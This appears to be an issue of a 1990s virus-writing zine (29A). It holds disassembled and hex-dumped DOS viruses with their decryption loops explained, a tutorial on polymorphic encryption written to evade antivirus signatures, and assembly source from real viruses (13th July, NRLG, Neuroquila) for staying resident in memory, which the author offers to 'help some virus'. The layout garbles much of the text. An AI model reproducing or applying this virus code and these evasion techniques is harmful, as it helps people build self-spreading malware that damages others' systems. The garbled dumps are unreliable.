²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 5 VIRUS:AC-916.COM infected by Arcv.Joanna {1} virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. A Suspicious Memory Allocation. The program uses a non-standard way to search for, and/or allocate memory. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. L The program traps the loading of software. Might be a virus that intercepts program load to infect the software. M Memory resident code. The program might stay resident in memory. U Undocumented interrupt/DOS call. The program might be just tricky but can also be a virus using a non-standard way to detect itself. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. T Incorrect timestamp. Some viruses use this to mark infected files. ********************************************************************* -u 14CF:0100 14CF:0103 14CF:0105 14CF:0108 14CF:010B 14CF:010C 14CF:0110 14CF:0113
E90200 CD20 BE1601 B9BF01 2E 81040B28 83C602 49
14CF:0114 75F5
JMP INT MOV MOV CS: ADD ADD DEC JNZ
0105 20 SI,0116 CX,01BF
; Jump to address 105h ; 116h = start decrypting. ; Size = 1bfh bytes
WORD PTR [SI],280B; ADD 280bh to SI SI,+02 ; Now ADD 2 CX ; SUBstract 1 from CX, ; which will decrypt it 010B ; Until CX=0
When CX comes to 0 bytes, the virus from 116h, encrypted, with CX=1bfh
will be decrypted. Here you have it
-u116 14CF:0116 14CF:0118 14CF:0119 14CF:011A 14CF:011C 14CF:011F 14CF:0121 14CF:0123 14CF:0125 14CF:0127 14CF:0128
DDD8 F5 2F 22F1 F662E5 F6FB E514 E6FC 8FFA D6 C2EB75
FSTP CMC DAS AND MUL IDIV IN OUT POP DB RET
ST(0)
DH,CL BYTE PTR [BP+SI-1B] BL AX,14 FC,AL DX D6 75EB
And now decrypted, with 0 in CX... its much more legible, huh? ;-) -u116 14CF:0116 14CF:0119 14CF:011A 14CF:011D 14CF:011F 14CF:0120 14CF:0121 14CF:0122 14CF:0123 14CF:0124 14CF:0125 14CF:0128
E80000 58 2D1901 8BF0 1E 06 0E 1F 0E 07 B805FF CD13
CALL POP SUB MOV PUSH PUSH PUSH POP PUSH POP MOV INT
0119 AX AX,0119 SI,AX DS ES CS DS CS ES AX,FF05 13
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 6 VIRUS:ANTIMIT.COM infected by Anti-Mit virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. D Disk write access. The program writes to disk without using DOS. T Incorrect timestamp. Some viruses use this to mark infected files. J Suspicious jump construct. Entry point via chained or indirect jumps. This is unusual for normal software but common for viruses. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. ********************************************************************* 14CF:0100 E80500
CALL
0108
; CALL to address 108h
-u108 14CF:0108 BE2A01 14CF:010B 8A260701 14CF:010F EB12
MOV MOV JMP
SI,012A ; Let's get 12ah in SI AH,[0107] ; Get [107h] into AH 0123 ; Address 123h
-u123 14CF:0123 8BFE 14CF:0125 B94F01 14CF:0128 EBE8
MOV MOV JMP
DI,SI CX,014F 0112
-u112 14CF:0112 AC
LODSB
; Copy SI into DI ; CX = 14fh bytes ; Jump to 112h
; LOaD a String of Bytes
14CF:0113 32C4 14CF:0115 AA 14CF:0116 E2FA
XOR STOSB LOOP
AL,AH
; Store AH next to AL ; STOre a String of Bytes ; Decrypting...
0112
Dump from 100h, after running over loop 112h, therefore decrypted: -d100 14CF:0100 14CF:0110 14CF:0120 14CF:0130 14CF:0140
E8 12 CD 78 69
05 90 21 21 2D
00 AC C3 20 4D
90 32 8B 24 49
EB C4 FE 11 54
4D AA B9 02 5D
90 E2 4F 2A 00
1B-BE FA-B4 01-EB 2E-43 46-8C
2A 19 E8 4F 72
01 CD 4D 4D 73
8A 21 49 00 D8
26 8A 54 5B 53
07 F0 20 41 74
01 B4 53 6E 72
EB 0E 75 74 8C
.....M...*..&... ...2.......!.... .!....O...MIT Su x! $..*.COM.[Ant i-MIT].F.rs.Str.
For you the curious, virus was like this when encrypted: -d100 14CF:0100 14CF:0110 14CF:0120 14CF:0130 14CF:0140
E8 12 CD 63 72
05 90 21 3A 36
00 AC C3 3B 56
90 32 8B 3F 52
EB C4 FE 0A 4F
4D AA B9 19 46
90 E2 4F 31 1B
1B-BE FA-B4 01-EB 35-58 5D-97
2A 19 E8 54 69
01 CD 56 56 68
8A 21 52 1B C3
26 8A 4F 40 48
07 F0 3B 5A 6F
01 B4 48 75 69
EB 0E 6E 6F 97
.....M...*..&... ...2.......!.... .!....O...VRO;Hn c:;?..15XTV.@Zuo r6VROF.].ih.Hoi.
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 7 VIRUS:ARARA.COM infected by Arara virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. G Garbage instructions. Contains code that seems to have no purpose other than encryption or avoiding recognition by virus scanners. @ Encountered instructions which are not likely to be generated by an assembler, but by some code generator like a polymorphic virus. ********************************************************************* -u 14CF:0100 E91500 14CF:0103 9E
JMP SAHF
-u118 14CF:0118 90 14CF:0119 F8 14CF:011A BBC904 14CF:011D 87CB 14CF:011F F8 14CF:0120 BE2B01 14CF:0123 82048F 14CF:0126 90 14CF:0127 F5 14CF:0128 46 14CF:0129 E2F8 14CF:012B*59*
NOP CLC MOV XCHG CLC MOV ADD NOP CMC INC LOOP POP
0118
; Jump to address 118h
; CLear Carry flag BX,04C9 ; Get 4c9h in BX CX,BX ; XCHanGe BX for CX ; CLear Carry flag SI,012B ; Start of decryption BYTE PTR [SI],8F ; ADD 8f bytes to ; address 12bh (59h) ; CoMplement Carry flag SI ; INCrease by 1 SI 0123 ; Decrypting... CX
Virus was like this when encrypted... -d200 14CF:0200 14CF:0210 14CF:0220 14CF:0230
25 70 29 B2
8B 54 71 C3
2B CF B4 B2
F1 CB B1 C3
71 CA 2B B2
3E 29 8F CE
92 71 6E FC
7F-90 C8-B1 3E-92 F7-4C
C9 3E 7F 74
2C 92 90 F7
70 25 7F 51
6F AF 78 FA
F4 3E C7 F7
64 92 34 4C
70 CA CC 74
%.+.q>....,po.dp pT...)q..>.%.>.. )q..+.n>....x.4. ........Lt.Q..Lt
And now, decrypted, it's this way: -d 14CF:0200 14CF:0210 14CF:0220 14CF:0230
B4 FF B8 41
1A E3 00 52
BA 5E 43 41
80 5A 40 52
00 59 BA 41
CD B8 1E 5D
21 00 FD 8B
0E-1F 57-40 CD-21 86-DB
58 CD 0E 03
BB 21 1F 86
FF B4 0E E0
FE 3E 07 89
83 CD 56 86
F3 21 C3 DB
FF 59 5B 03
......!..X...... ..^ZY..W@.!.>.!Y ..C@....!....V.[ ARARA]..........
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 8 VIRUS:ATOMANT.COM the ATOMANT.UNK1 virus or variant ³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. A Suspicious Memory Allocation. The program uses a non-standard way to search for, and/or allocate memory. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. L The program traps the loading of software. Might be a virus that intercepts program load to infect the software. U Undocumented interrupt/DOS call. The program might be just tricky but can also be a virus using a non-standard way to detect itself. Z EXE/COM determination. The program tries to check whether a file is a COM or EXE file. Viruses need to do this to infect a program. O Found code that can be used to overwrite/move a program in memory. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. 1 Found instructions which require a 80186 processor or above. ********************************************************************* 14CF:0100 E99F10 14CF:0103 0D0A4D
JMP OR
11A2 AX,4D0A
; Jump to 11a2h
-u11a2 14CF:11A2 14CF:11A3 14CF:11A6 14CF:11A7 14CF:11A8 14CF:11A9 14CF:11AA 14CF:11AD 14CF:11AF 14CF:11B2 14CF:11B5 14CF:11B6 14CF:11B8 14CF:11B9 14CF:11BB 14CF:11BC 14CF:11BE 14CF:11BF
PUSH CALL POP PUSH PUSH CS: MOV MOV ADD MOV CS: XOR CS: ADD INC LOOP MOVSW XOR
BP 11A6 BP CX AX
; ; ; ; ;
55 E80000 5D 51 50 2E 8B46FA 8BF5 83C618 B94108 2E 3004 2E 0024 46 E2F7 A5 334F33
Save BP Call next address Restore BP (delta offset) Save CX Save AX
AX,[BP-06] SI,BP SI,+18 CX,0841
; ; ; ;
Get [BP-6] into AX MOVe BP into SI ADD 18h to SI Number of bytes to decrypt
[SI],AL
; Get AL in [SI]
[SI],AH SI 11B5
; ADD AH to [SI] ; INCrease SI by 1 ; Dcrypt from 11beh
CX,[BX+33]
Part of the decrypted text... 14CF:1850 14CF:1860 14CF:1870 14CF:1880
0D 73 72 63
0A 7A 81 73
4D 74 6C 65
43 A0 74 72
20 72 2C 82
48 20 20 6C
61 82 64 74
6D-6D 73-20 65-20 81-6B
65 50 6D 20
72 45 6F 61
20 50 73 20
72 53 74 50
61 49 20 45
70 20 6B 50
2D 93 69 53
..MC Hammer rapszt.r .s PEPSI . r.lt, de most ki cser.lt.k a PEPS
How was it like when encrypted? Like this :-) 14CF:1850 14CF:1860 14CF:1870 14CF:1880
B2 18 19 E8
B1 01 06 18
F2 1B 13 EA
C8 27 1B 19
A7 19 D3 09
CF A7 A7 13
E6 09 EB 1B
12-12 18-A7 EA-A7 06-10
EA F7 12 A7
19 CA 14 E6
A7 F7 18 A7
19 F8 1B F7
E6 CE A7 CA
17 A7 10 F7
D2 38 EE F8
................ ...'...........8 ................ ................
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 9 VIRUS:AUS-369B.COM Found the AUSSIE.PARASITE.369 virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. ********************************************************************* -u 14CF:0100 E9D200
JMP
01D5
-u1d5 14CF:01D5 14CF:01D8 14CF:01DB 14CF:01DF 14CF:01E2 14CF:01E3 14CF:01E5 14CF:01E8 14CF:01EC 14CF:01EF 14CF:01F2 14CF:01F3
MOV MOV ADD XOR INC LOOP MOV ADD MOV XOR INC LOOP
CX,00CD ; No of bytes in CX SI,0123 ; Address 123h in SI SI,[0101] ; ADD [101h] to SI BYTE PTR [SI],01 ; MOVe 01 into [SI] SI ; INCrease SI by 1 01DF ; Decrypt from 1f6h... SI,0234 ; Address 234h in SI SI,[0101] ; ADD [101h] to SI CX,003C ; No of bytes to decrypt BYTE PTR [SI],01 ; MOVe 01 into SI SI ; INCrease SI by 1 01EF ; Decrypt from 306h
B9CD00 BE2301 03360101 803401 46 E2FA BE3402 03360101 B93C00 803401 46 E2FA
; Jump to 1d5h
Decrypted text... -d280 14CF:0280 14CF:0290 14CF:02A0 14CF:02B0 14CF:02C0
89 4F 69 31 5D
D6 4D 74 5D B8
80 00 65 0D 00
3C 5B 20 5B 57
E3 41 76 62 CD
75 75 49 4C 21
3A 73 52 41 51
EB-9D 73-69 55-53 4D-45 52-B9
BA 65 20 20 CD
0C 20 20 6F 00
01 50 76 54 BE
24 61 2E 48 23
2A 72 20 45 01
2E 61 31 52 03
43 73 2E 53 36
...<.u:.....$*.C OM.[Aussie Paras ite vIRUS v. 1. 1].[bLAME oTHERS ]..W.!QR....#..6
81 01 64 0C 00
3D 5A 21 5A 57
E2 40 77 63 CD
74 74 48 4D 21
3B 72 53 40 51
EA-9C 72-68 54-52 4C-44 52-B9
BB 64 21 21 CD
0D 21 21 6E 00
00 51 77 55 BE
25 60 2F 49 23
2B 73 21 44 01
2F 60 30 53 03
42 72 2F 52 36
...=.t;.....%+/B NL.Z@trrhd!Q`s`r hud!wHSTR!!w/!0/ 0\.ZcM@LD!nUIDSR \..W.!QR....#..6
And encrypted... -d280 14CF:0280 14CF:0290 14CF:02A0 14CF:02B0 14CF:02C0
88 4E 68 30 5C
D7 4C 75 5C B9
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 10 VIRUS:BETA0575.COM infected by Beta_Boys virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. L The program traps the loading of software. Might be a virus that intercepts program load to infect the software. T Incorrect timestamp. Some viruses use this to mark infected files. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. ********************************************************************* -u100 14CF:0100 E90000 14CF:0103 E80100
JMP CALL
0103 0107
; Jump to 103h, a call ; CALL address 107h
-u107 14CF:0107 14CF:0108 14CF:010C 14CF:0110 14CF:0114 14CF:0115 14CF:0119 14CF:011B
5D 81ED0301 8D9E2001 8D96A601 3E 8A8E0301 3BDA 7405
POP SUB LEA LEA DS: MOV CMP JZ
BP BP,0103 BX,[BP+0120] DX,[BP+01A6]
; ; ; ;
14CF:011D 14CF:011F 14CF:0120 14CF:0122 14CF:0123 14CF:0124
300F 43 EBF7 90 9F 8CAC139F
XOR INC JMP NOP LAHF MOV
Blade Runner/29A Los Angeles, 2019
Restore BP (delta offset) SUBstract 103h to BP [BP+0120] to BX [BP+01a6] to DX
CL,[BP+0103] ; Encryption key to CL BX,DX ; Is BX=DX ? 0122 ; If they are virus is ; decrypted ; If not, continue [BX],CL ; Decrypt byte after byte BX ; INCrease BX by 1 0119 ; Jump to 119h to continue
[SI+9F13],CS
Polymorphism *************************************************************************> An¡bal Lecter I know it may be a bit strong featuring both an encryption article with a polymorphism one in the same issue, but this one is dedicated to those of you who have a more advanced level. If you are still a bit confused with encryption, better forget this article and try with YAM. We'll very basically introduce polymorphic routines: design, construction and functioning. In this article, we'll study a 'pseudo-polymorphic' generator, this is: grounding on a basic routine, make more difficult the detection of the virus (as the routine's kernel isn't variated), depending on your aims of work. What's a PER (Polymorphic Encryption Routine)?: PERs are born aiming to avoid detection strings of bytes.
schemes based on the uneffective
These systems are based on the idea that viruses always preserve a number of stable bytes in each generation (at least in the header, when encrypted). With PERs we are trying to avoid this unconvinience, always trying to variate that header, either: 1. Lexically: substituting directly some hex codes for others.
label : turns into:
2825 0005
sub add
[di],ah [di],al
In this case it would be enough to substract 2820h from the word at label:, although we should have thought that we should put the value to use in AH or AL; depending on the case, such code would change too. How? keep on reading }:-) 2. Sintactically: changing the order of the commands, but seeking the same result.
label
:
add xor
[di], ah [di], ah
turns to:
xor add
[di], ah [di], ah
This time we should keep in mind the order invert it correctly.
during encryption so as to
3. Morphologically: variating its external appearance, but its kernel, including garbage in between the code. In order to do this, we can take hand of the classics:
90h = nop f8h = clc
maintaining
f9h fah fbh fch dch
= = = = =
stc cli sti cld std
Look out! these last two are dangerous if using registers SI, DI and CX at the same time, cause you'll have to bear it in mind whether you pretend the loop to increase or decrease :-P Of course, you can combine them; the pical bait files:
dw mov int
easiest example
is for the ty-
2000 dup (90fbh) ax,4c00h 21h
This way, we can avoid the virus from not infecting it by searching a a big number of the same bytes. For the decrypting header, we would have a routine with the XOR and a little algorithm which would add a series of 'non-code'. 4. Finally, combining the three preceeding ways as you like. Further on, we'll see a bit on language grammar, specially Conway notation ;-) It would be equally possible to see BNF, but as far as i see it, it is less clear.
From the three basic methods we've just seen for making possible the mutations, the one i see the easiest is the third one, as it just affects the code size and the 'innocent' instructions we include in it. The 2nd 1 is a bit more complex, because of having to change the order of the instructions though they're kept the same. Whereas the first one, it's necessary to know all of the opcodes and build a table (we have an example in MtE). I'll start with the third case; once you pick it up, you all will know enough so as to jump directly onto the second type as well as the third, or even combine them all, or whatever you think of. Let's see it with a direct example; let's take the decryption routine from the 13th July virus (original source code by Jordi Mas, a spanish ex-AVer dickhead which was known to have some of their viruses in the wild... and these viruses sucked as much as he did) }:-)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 longitud equ fin-inicio_virus ; Defines the size inicio_virus: inicio: mov al,cs:hasta_final ; Decrypts the executable xor al,090h ; viral code mov si,offset hasta_final mov cx,longitud des_bl: xor byte ptr cs:[si],al inc si loop des_bl hasta_final db 90h ; Stores the random value ; it uses for the encryption ; .... ; routine ; 'Normal' viral code
; .... fin: ; End of the code - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
In this case, we can see how the string of bytes that starts at 'inicio' and goes until 'hasta_final' (keeping the encryption value outside) will always be the same in each infection; it will only have 255 different possibilities plus one more in which the code will be visible (00h). But these strings don't change: the virus is 100% detectable. It can be mutated, but must be done hand-helped, for instance, fitting into it some of these 'innocent' bytes in between the first and the second instruction. Nevertheless, this can be done by any lamer ;-) We are leet and can do it better, can't we? ;-) In this approach to polymorphism by the third method, we can notice three of its characteristics: 1. Routine's kernel doesn't change. 2. The size does. 3. Distance in bytes between main instructions also variate. How can we do it? let's see:
Grammar in Conway notation ************************** This kind of grammar, as some of you will yet know, is mostly used to describe programming language's structure; it is also valid for spoken language, and it is used in AI for recognizing speech, or at least that's what i think. What's pretended with it is to represent the morphological structure of language by means of a flow chart. Take as an example:
Ú*****®********®************®***********¿ ³ Ú***¯****end***´ start ³ ³ ³ ¯*Â**article***subject*Â*verb Å**¯**adverb***¯*********Ù ³ ³ ³ ³ Ú*mode*****´ ³ ³ ³ ³ ³ À*¯**pronoun***¯*****Ù À*****¯***manner*************Å*time*****´ ³ ³ À*place****Ù Let's see it in detail:
Ú***********®*****************®************¿ ³ Ú***¯****(end)****¯*****´ (start) ³ ³ ³ *¯**The**Â*virus**Â*infected*Å****always***¯****Ù Ú*massively***´ ³ ³ ³ ³ ³ À*ZhengxiÙ À****************************Å*fr.3h to 5h*´ ³ ³ À*some PCs****Ù
Experts on language will pardon me... this ain't a grammar lesson ;-)
If we oberve and analyze the diagram, we can see it the same with different words. Eg:
is possible to say
"The virus always infected" "The virus infected massively" "The Zhengxi virus infected from 3h till 5h" But we're also allowed to 'toy' around. Eg: "The virus infected always, always" "The Zhengxi virus infected massively from 3h till 5h some PCs" "The Zhengxi virus infected always some PCs, always from 3h till 5h, always massively" Can you get the 'hidden' intention of this explanation? ;-) Better then, cause next issue we'll put all of this into practice and better to have all the concepts assimilated.
* An¡bal *
Upper memory residency *************************************************************************> IntrusO Well, i'll try to describe some routines used by some viruses to copy themselves into upper memory... in order to do this, i'll try to describe what's that we call upper memory, type we're interested in, the MCB, etc. Then i'll try to trace a bit of Neuroquila, looking for the techniques it it uses for this kind of residency. Let's start :-)
Ú****************¿ ³ Upper Memory ³ À****************Ù DOS has something we call UMBs; the segment where they start is kept at offset 1fh at the information table about disk buffers whose direction is returned at ES:BX+12h by the get list of lists -52h-, but in order to be able to get onto upper memory blocks, these must be linked to conventional memory blocks; if not, we'll do it by function 58h (Neuroquila virus does this) ;-) The format of MCBs at UMBs is the following:
offset " " "
0 byte: 5ah if the last one and 4dh otherwise ******************************************************* 1 word: with the PID (Process ID) ******************************************************* 3 word: size of block in paragraphs ******************************************************* 8 8 bytes: 'UMB' if first block and SM if the last one *******************************************************
Then we also have this other memory we're also interested in... the XMS controller, which Neuroquila (how not!) does also use... the XMS controller (HIMEM.SYS loads it) adds functions to manage upper memory. In order to employ the XMS controller services we must check function 43h int 2fh (multiplex), checking for 80h in AL (what Neuroquila does). Once we know XMS is there, we must ask where to find it, with subfunction 10h, as XMS is not called by means of an int. It would be something like:
mov int mov mov
ax,4310h 2fh xms_seg,es xms_off,bx
; Ask address ; Save it
Where xms_** would be a struc type of:
xms_mgr xms_off xms_seg
label dw dw
dword 0 0
Then, when we would want to use the manager, we'd use function number at AH, and run a call xms_mgr.
Ú***************************¿
³ Normal memory blocks ³ À***************************Ù (Erhmm... i think i sould have started here O:)) Memory blocks under DOS are bytes arrays, always multiples of 16. Therefore, a 16 bit word may keep the address of any part of the memory inside inside the meg an 8086 can handle. When a program is run, the system creates two blocks for itself: the program memory block, and the enviroment memory block. When a program is run, DOS searches the largest memory block available, and assigns it to the program. The first paragraph address is called PID; moreover, in the first 256 bytes of this area, DOS creates PSP. The environment block is the zone where variables are kept: PATH, SET, etc. Now let's talk about MCBs (Memory Control Blocks), as both the program block with the enviroment are following a header that contains the information about the assigned MCB. This way:
offset " " " "
0 byte: ID *************************************** 1 PID owner *************************************** 3 size *************************************** 5 to 7 reserved *************************************** 8 to 15 name of owner ***************************************
Usually, a virus would subtract its length from the size kept at offset 3 and then call int 21h function 4ah to free the memory, and get it again somewhere else with function 48h. After it, it would mark the MCB with an an 8 at offset 1 (PID). Why? Because system has this PID; this way, it 'tricks' DOS not to use that portion of memory; it's only left to rep movsb into the block.
Memory managing functions ************************* 48h - Allocate memory block Input: BX = size of block, in paragraphs Output: if CF = 1, AX = error code AX:0 = address of memory block BX = if there was an error, it contains the maximum size available 49h - Free memory block Input: ES = Memory block segment Output: if CF = 1 , AX = error code 4ah - Modify allocated memory blocks Input: ES = Memory block segment BX = new size of block, in paragraphs Output: if CF = 1 , AX = error code BX = if there was an error, it contains the maximum size available
This can be seen, for instance, in this routine i took from the NRLG virus creation tool. I think it's very easy to understand... hope no one turns up with the (c) cause i wouldnt mind to take the routine from somewhere else and this way i'm promoting it };)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 push cs ; pop ax ;ax = my actual segment dec ax ;dec my segment for look my MCB mov es,ax ; mov bx,es:[3] ;read the #3 byte of my MCB =total used memory ;*************************************************************** push cs ; pop es ; sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus sub bx,17 + offset fin ;and 100H for the PSP total mov ah,4ah ;used memory int 21h ;put the new value to MCB ;*************************************************************** mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin mov ah,48h ; int 21h ;request the memory to fuck DOS! ;*************************************************************** dec ax ;ax=new segment mov es,ax ;ax-1= new segment MCB mov byte ptr es:[1],8 ;put '8' in the segment ;************************************************************** inc ax ; mov es,ax ;es = new segment lea si,[bp + offset start] ;si = start of virus mov di,100h ;di = 100H (psp position) mov cx,offset fin - start ;cx = lag of virus push cs ; pop ds ;ds = cs cld ;mov the code rep movsb ;ds:si >> es:di - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
This would be the way to copy into memory for a .COM infector. There are some viruses which are clumsier, to say it some way, like the 'famous' (i still can't understand why) Friday 13th (Jerusalem), which calls int 21h, function 31h in order to stay resident, having to execute itself again... it isn't worth to waste our time with that, and i'm sorry for those who use *that*, but i consider it bullshit... a virus oughts to be resident! Well, up to this point, someone roquila ;D here it is... :)
will be pleading for some code from Neu-
try_to_move_virus: push ds push es mov ah,52h ; get list of Lists int 21h mov ds,word ptr es:[bx-2] ; First MCB segment mov si,10h cmp byte ptr [si-0ch],80h ; ¨block size > 80FFh paragraphs? mov al,0 ja DOS2_not_loaded_yet ; sure mov di,memory_size ; size it needs ; memory_size = (offset memory_top - offset start + 15) /16 call alloc_mem
Here, we'll have a deep look into this interesting routine ;) Ú*********************************¿
³ Memory allocation routine ³ À*********************************Ù alloc_mem: mov int cmp jnz
ax,4300h 2fh al,80h no_xms_driver
; He asks for XMS
Curiously, we should check for the 2fh vector to be different from 0, coz that would mean that XMS isn't initialized for that DOS version and the system would hang; anyway, i've seen NO program to bear this in mind... can it be, anyway, a bug of Neuroquila? }:) Take it easy, i know some of you are heavy fans of this virus :DDD It is not a bug; Neuroquila first checks for the DOS version it's running under ;) - - - - - - - - - - - - - - - - - - - mov ax,4310h int 2fh mov word ptr xms_addr,bx mov word ptr xms_addr+2,es mov ah,10h mov dx,di call xms_addr dec ax jnz no_xms_driver mov bp,bx ret
- - - - - - - - - - - - - - - - >8
; ; ; ; ; ; ; ;
What i said before ;) Allocate upper memory size in paragraphs take it as an int are we going? nope BP = UMB segment and returns
no_xms_driver: ; XMS isn't available, allocate upper memory, DOS 5.0 needed mov int push mov push mov int
ax,5800h 21h ax ax,5801h ax bx,0080h 21h
mov int mov push mov push mov int mov mov int xchg pop pop int pop pop int
ax,5802h 21h ah,0 ax ax,5803h ax bl,1 21h ah,48h bx,di 21h bp,ax ax bx 21h ax bx 21h
; get strategy ; low memory best fit ; puts allocation strategy ; BL=new strategy BH=00 (DOS 5+) ; low memory last fit ; get UMB state ; preserve it
; Connects UMB blocks
; Allocate memory, BX = para ; of memory ; BP = assigned segment
; Restore strategy
ret ; and returns - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
Well, well, well, now we continue with the main routine...
mov cmp jb dec mov mov mov jmp
dx,bp dh,0A0h in_low_mem bp ds,bp ax,di word ptr [si-0fh],8 move_virus
;-) let's remember what's in BP ; DX=0A000h ; low_mem? then go down!
; MCB belongs to system ; just copy it
in_low_men:
Let's see several interesting properties of memory blocks in DOS 4.0 and 5.0, that Neuroquila will 'work' with ;) Well, since DOS 3.1, first memory block is a system data segment, which contains the device drivers in CONFIG.SYS. From DOS 4.0 and further on, this block is divided into smaller ones, each of which, preceeded by a MCB with the following structure:
offset 0:
Byte, 'D' 'E' 'I' 'F' 'X' 'C' 'B' 'L' 'S' 'T' -
type of segment: Device driver " " extension IFS driver (Installable File System) FILES = If FILES > 5, place where they are kept FCBS = place where kept BUFFERS = /X Expanded Memory buffers BUFFERS = buffers area LASTDRIVE = place where kept STACKS = system code and stack zone INSTALL = this order's area
offset 1:
Word, indicates where after it)
offset 3:
Word, size of subsegment (paragraphs)
offset 8:
8 bytes: in types 'D' and 'I', name the driver
the subsegment
starts (generally
of file that loaded
This way, since DOS 4.0 once found first MCB, we can jump it and take the next one. In DOS 5.0, system blocks have 'SC' (System Code) or 'SD' (System Data, which would be equal to those of the DOS 4.0) in their name. It is here where Neuroquila starts to check this MCB of the subblocks.
push cmp jz cmp jnz next_subMCB:
ds byte ptr [si],46h next_subMCB byte ptr [si],44h no_subMCB
; FILES= ? 'F' (in hex) ; DEVICE= ? 'D'
cmp jz cmp jz mov dec mov add mov jmp
byte ptr [si],4dh last_subMCB byte ptr [si],54h last_subMCB ax,word ptr [si+1] ax es,ax ax,word ptr [si+3] ds,ax next_subMCB
; next MCB? (5ah if last) ; INSTALL=? 'T' ; MCB owner
; More size for memory block ; and again!
last_subMCB: lea sub mov no_subMCB: pop mov sub xchg add move_virus: mov push pop assume mov mov mov mov mov xor xor cld rep
ax,[bp+di] ax,es:[si-0fh] es:[si-0dh],ax
ds ax,ds bp,ax bp,ax ax,memory_size - 1
; First MCB segment
virus_segment,ds cs ds ds:code 2 virusMCB_size,ax es,dx al,(offset allready_moved-offset virus_moved_from_fixed_segment) byte ptr virus_moved_from_fixed_segment,al cx,offset memory_top si,si di,di movsb
Neuroquila has many more to give, but for now... i put this, just in case someone doesn't have the Neuroquila source code, published in VLAD#5 (it is high time!) }:D
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 already_moved: push ds ; push word ptr 0c801h db 68h virus_segment dw 0c801h pop ds ; mov word ptr [3],014eh db 0c7h,06h dw 3 virusMCB_size dw 014eh pop ds ;***************************************** DOS2_not_loaded_yet: pop es pop ds assume ds:nothing
do_not_move: mov byte ptr virus_moved_from_fixed_segment,al popa @@65: retf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
That's all folks, hope my huge fingers and poor view, help some virus that would stay resident in upper memory... :)
IntrusO ;)
me
to write
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ VBA VIRUSES AND TROJANS @ @ by @ @ Leugim San/29A @ @ & @ @ MaD MoTHeR @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ (@) MaD MoTHeR TeaM - 1996
A macro is a program written in a certain language which is used usually for automatizing some processes inside an application. In this case, we will talk about Visual Basic for Applications (VBA) and WordBasic (WB), which are the languages used by Microsoft and all their programs; thus, Excel, Project and PowerPoint use VBA, and WinWord uses WB. From now we will speak about VBA as a general language, because it's the attempt to unify a macro language, common for all the Microsoft programs. Anyway, WordBasic has still some characteristics which make that, sometimes, we reffer specifically to it. There are some differences between the syntax of these two languages, but the coding structure is the same, so, if we don't make any specification, we'll speak about VBA, as the common Microsoft macro language. The VBA macros are called procedures; there are two kinds of procedures: - Sub procedures - Function procedures The sub procedures may be executed directly or being called from other macro. The syntax for these 